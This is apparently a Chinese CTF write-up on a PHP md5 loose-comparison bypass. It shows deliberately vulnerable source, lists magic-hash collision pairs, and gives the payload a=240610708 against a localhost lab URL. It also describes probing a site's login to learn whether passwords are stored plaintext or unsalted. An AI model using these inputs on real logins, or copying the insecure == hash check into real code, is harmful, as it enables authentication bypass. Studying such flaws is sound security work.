源码:
<?php
$md51=md5('QNKCDZO');
$a=@$_GET['a'];
$md52=@md5($a);
if(isset($a)){
if($a!='QNKCDZO'&&$md51==$md52){
echo"nctf{2222222222222}";
}else{
echo"false!!!";
}}
else{echo"pleaseinputa";}
?>
函数释义:
使用==进行比较会进行数据转换。
在php中,@是忽略报错的符号,如果有@符号的这行有错误,那么错误就不会显示在网页上。
==对比的时候会进行数据转换,0eXXXXXXXXXX 转换成0,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
php在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
var_dump(md5('240610708')== md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
md5('240610708');// 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
把密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的。
同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存。
代码分析:
获取flag条件:
$a!='QNKCDZO'&&$md51==$md52
又因为
$md51=md5('QNKCDZO');
$md52=@md5($a);
即为
a!='QNKCDZO'&&$md5('QNKCDZO')==@md5($a)
解题过程:
payload为a=240610708
访问链接:
http://localhost:63342/php_bugs-master/13%20md5%E5%8A%A0%E5%AF%86%E7%9B%B8%E7%AD%89%E7%BB%95%E8%BF%87.php?a=240610708
获取到flag
参考链接:
https://github.com/bowu678/php_bugs